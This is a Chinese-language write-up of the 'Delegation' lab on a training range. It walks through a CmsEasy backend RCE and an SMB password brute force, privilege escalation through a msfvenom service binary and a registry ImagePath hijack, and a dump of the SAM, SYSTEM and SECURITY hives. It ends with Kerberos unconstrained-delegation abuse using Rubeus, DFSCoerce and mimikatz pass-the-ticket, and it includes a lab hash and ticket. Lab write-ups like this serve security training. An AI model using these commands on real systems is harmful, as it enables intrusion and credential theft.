春秋云镜-Delegation
fscan开扫
扫描发现后台/admin
弱口令登录
admin/123456
在后台登录时就已经看到了这个cms的版本后 于是google一下
https://jdr2021.github.io/2021/10/14/CmsEasy_7.7.5_20211012 后台RCE
1 | POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1 |
成功写入 直接反弹shell到主机的vps上
flag在home目录下 在读取的时候发现这个权限不够 于是尝试开始提权
这个diff去查一下
这里给了个机器账户的本地账户
先去扫下内网
资源整理
1 | 172.22.4.36 getshell主机 |
先搭建隧道 这里使用的是stowaway
然后根据第一个提示 给了WIN19的本地账户WIN19\Adrian 于是猜测需要去爆破 因为是本地账户 所以不能使用kerbrute
来进行爆破 于是我们尝试使用crackmapexec
来
1 | proxychains4 crackmapexec smb 172.22.4.45 -u Adrian -p rockyou.txt -d WIN19 |
WIN19\Adrian babygirl1
尝试rdp一下 因为前面开了这个3389端口来
提示密码过期 这里本来是想用smbpasswd.py
来进行更改的 但是发现不行这里 估计是本地用户的原因
于是发现了kali的rdesktop
可以无密码登录
1 | proxychains3 rdesktop 172.22.4.45 |
修改密码后成功登录
发现桌面上多了个文件夹
里面的一个html文件的内容 只要是这个计算机的用户都可以权限对注册表进行操作
这里在之前试了一下 发现可以直接修改注册表 改成自己的生成的木马的地址 也能返回到system权限
但是这里的话用这个方法获取不到这个机器的hash值 不能进行下一步操作了 因为只有这个机器在域内 其他用户都不在
于是这里的话我们先生成一个exe文件
1 | msfvenom -p windows/x64/exec cmd='C:\windows\system32\cmd.exe /c C:\users\Adrian\Desktop\sam.bat ' --platform windows -f exe-service > a.exe |
然后写一个sam.bat,内容如下然后传到win机器上:
1 | reg save hklm\system C:\Users\Adrian\Desktop\system |
注册表中的这三个位置 存放的就是本机上所有用户包括机器的密码的hash值 所以我们得去获取他
修改注册表服务
1 | reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Adrian\Desktop\a.exe" /f |
记得路径不要出错
然后运行这个gupdate
1 | sc start gupdate |
我们就成功把注册表上的几个文件给下载下来了
其实也可以通过这种方式来进行反弹shell操作 但是这个弹到Viper或者cs上的话 使用hashdump和creds_all的话都是获取不到这个机器的hash值的 只能获取到本地账户的hash值
于是我们拖到本地进行离线提权hash
1 | python3 secretsdump.py LOCAL -system system -sam sam -security security |
这样的话我们的本地管理员和机器用户的hash值就全部爆出来了
并且有一点就是这个本地管理员的psexec和这个域管的psexec用法还是有不同的
(可能是因为全部的hash前半部分相同的原因吧)
1 | 本地管理员 |
这里有一点很奇怪 使用本地管理员 psexec.py来进行连接时 返回的是system权限
wmiexec.py 连接时返回的时admin权限
按道理来说 本地管理员时不应该有system权限的 这是机器才有的权限
留着思考一下??????????????
—————————————————————————-(google找了一下 原因是这样的)————————————————————
- 这个其实跟psexec.py的运行过程是相关的
其实在执行代码的时候 也会回显出代码服务创建 这里就是因为在远程机器上创建了这个系统服务 然后又因为这个系统服务是以system
权限来执行的 于是我们获取到的就是这个system权限了
(前提是必须使用administrator用户来进行连接 不然没有权限来创建这个服务)
在了解这个的过程中还发现了这两者都是基于这个ipc$
其对应的就是445 139
端口
一般默认是开启的
如果执行net share没有反应的话 说明了这个ipc$没有开启 psexec和wmi就用不了了
为了能过使用本地管理员账户 我们创建一个新账户加到本地管理员组里
1 | net user Ke1nys qwer1234! /add |
这里查看一下域内信息
因为这里psexec连接上去的是这个system权限 这个权限是机器的权限 并且只有这个机器在域内 其他用户均为本地成员 看不了域内成员
先rdp上刚刚创建的用户
然后kali运行
1 | proxychains4 bloodhound-python -u win19$ --hashes "aad3b435b51404eeaad3b435b51404ee:544cd3307615b72c370b3fea4d76fb65" -d xiaorang.lab -dc dc01.xiaorang.lab -c all --dns-tcp -ns 172.22.4.7 --auth-method ntlm --zip |
https://forum.butian.net/share/1944 这篇文章写的很好 几乎总结了非约束委派的攻击
简洁点说就是强制域控向目标主机发起身份验证 由于开启了非约束委派 就能获取到域控的TGT票据
先使用本地管理员运行Rubeus.exe
并且监听 (需要管理员权限)
1 | Rubeus.exe monitor /interval:1 /nowrap /targetuser:DC01$ |
使用 DFSCoerce 漏洞利用工具,触发辅域控进行强制验证
1 | proxychains4 python3 dfscoerce.py -u win19$ -hashes "aad3b435b51404eeaad3b435b51404ee:544cd3307615b72c370b3fea4d76fb65" -d xiaorang.lab win19 172.22.4.7 |
然后ptt注入到内存中
1 | Rubeus.exe ptt /ticket:doIFlDCCBZCgAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMWElBT1JBTkcuTEFCo4IEVDCCBFCgAwIBEqEDAgECooIEQgSCBD6wZL58oV7f7zZFBrMFkbAa5M+OSIALaywU/VrSxKEOb1HHvPzIbGEW7LMmPRNsZ7v/GB2EMhZ5HySrR/OYXvVwL6SwetfRB4FKQtwxqt9q46DGDzv0Nvu4Vgaq8i6vkO6T9qv+7yOhDUVkNU15LrEmn5x2fNpzdayhLLbmcER61oyplHwnRjohA6hTJzPOFZ2lqb5o7ComIWVn75vlEYD7VrVxvEvzHKVXi+vszYu2pIpjDqG+ypB4ekRoEKLkAm5V0mnhBfwVgNXxD6fJPw7yTsCi5GFRHwwblNmxCKccYyAUa9TSO4ep2UZWvL6ZNfy7FjlgAhIhzpbwqbcyFB02IFqvXK8ii7yn/Wl/ybI0lQkDeqt2XoLhTkOIcn+AEYG+DBiGyPHX1f856QLFS0iRP3wn70JK1br505QCqRt+C9+lLQP8vwQxgsWvcr1lJlEtblOPNl0J4F+QLfKkFYZVVTjs9K7ZOMA2jnTC6MI0PnL1Dq2iDXcYxRZX5IUjkNFzC38pwgl8ENSE87BjMUEfJcrSLv5mR88PbI2/ZEbva9geW483mMMMoBvgsX03zCWto4dUEnfNIxPYpd+lJfMPCAwhMrOJTIYIlOI9D9iCcL1+y3NSf4G7u3MiXXozX3q9LmpYw5KtZA3HdPL4oQ2b5fwSzGj7+x6VaqAvksfLRCU4uwT70kzd05l4L45LHlPao208057PvtEoN5ulakfctRytd6ql3GLWAbx6euNL905niHadPAQoYQA5Y8XiNTvOXU7bmA5dNnXHr/PgrJ2ruG5RIea52HbwLcuAZD28F+pS75bp1j5/wbKUybM/rpEqhNC5kcp7dRqMonbZpmahCbs23rskOr10ApUWEn3r2vPIcVZHRv7Hg/ddellNO9jTHbofARWm0QokiET4pDzb88yaHv50njhkIwBDtM/dvq+ct+qgfDAPKawnLPrUJQD7N1SbFOSWhe2yZKgBi5H4+HYq+R2RZnIApBk9o+n46fKus/z30rRcVPzlw+UyMrhBWO1sQKoPnpmXU6HF5x7TDQTV9mmz662O/PBSTXNrmhrl3kGM7aGazXdS6kvw0efrr+q1sLbIOB0NK1FCG7jaiHA64CSAc2wfv5RdvLbyynfj5xd6EQ6MEPG8uksKAZmQfQBYbDX6VEo3AbOarRFU64fcofmM4bim+mC8zRDO5u6IRzzumKJY5RQBVu8/ariYxmoKO3NATVUG4LD5bGAt3VxvxqZLB8znObSSPV2vpxQgXza1JI/Ka73c8Qjac0GrnFgKaUqX+Qz7f7GpOQW+MrxOCtiMz8h3rcE+DakoD87wVdLUwxVSkm4nCC38ncACTWcNK6LA+JXHl/gEyHKbkIetS43uPyl1EcBFevBgVaqx7UDYBgPftUb3T5QsBAtESt45UFgwgVsSk24OOO6MuR2ZwsvII6Lh4aEWPhujgeMwgeCgAwIBAKKB2ASB1X2B0jCBz6CBzDCByTCBxqArMCmgAwIBEqEiBCAMuVQ3Nb40HrUocO728XSfvrrukgPxsxytwOi4m+NCqaEOGwxYSUFPUkFORy5MQUKiEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDIzMTAxMDExMjIwM1qmERgPMjAyMzEwMTAyMTIyMDNapxEYDzIwMjMxMDE3MTEyMjAzWqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDFhJQU9SQU5HLkxBQg== |
echo 'base64xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' | base64 -d > DC01.kirbi
这里话也可以将base解码然后存入DC01.kirbi
(主要是这个后缀 名字无所谓)
1 | mimikatz.exe "kerberos::purge" "kerberos::ptt DC01.kirbi" |
当然了 也可以转发为cache导入 这三个是可以互相转化的
注入票据成功 然后开始dyscn导出域控hash值进行 pth攻击
做题的时候写了点东西
system(机器账户) 是机器账户固有的权限
administrator(本地管理员账户) 拥有的是别的权限 不是system权限
这个两个账户是不同的 在这个域中的话 使用hashdump 或者是meterpreter的load kiwi 的creds_all获取的只有这个计算机内的用户的hash值 获取不到这个机器账户的hash值 能获取到的话只有这个注册表里的sam system security 通过脚本爆破的话是可以爆破出这个机器账户的hash值 (python3 secretsdump.py LOCAL -system system -sam sam -security security)
当然了 一般除了system和admin用户外 一般人下载不到这三个注册表里的东西 (提权用的东西除外)
还有一点就是本地普通用户的话 执行 net user /domain 的话 是会报错的
WIN\xxx 这种用户名的一般是本地用户域用户的话一般是—————》 xxxx@domain
可能存在的一种情况就是机器是域内账户 其他是本地账户 如果要想执行别的操作的话 大多数情况下是得要域内账户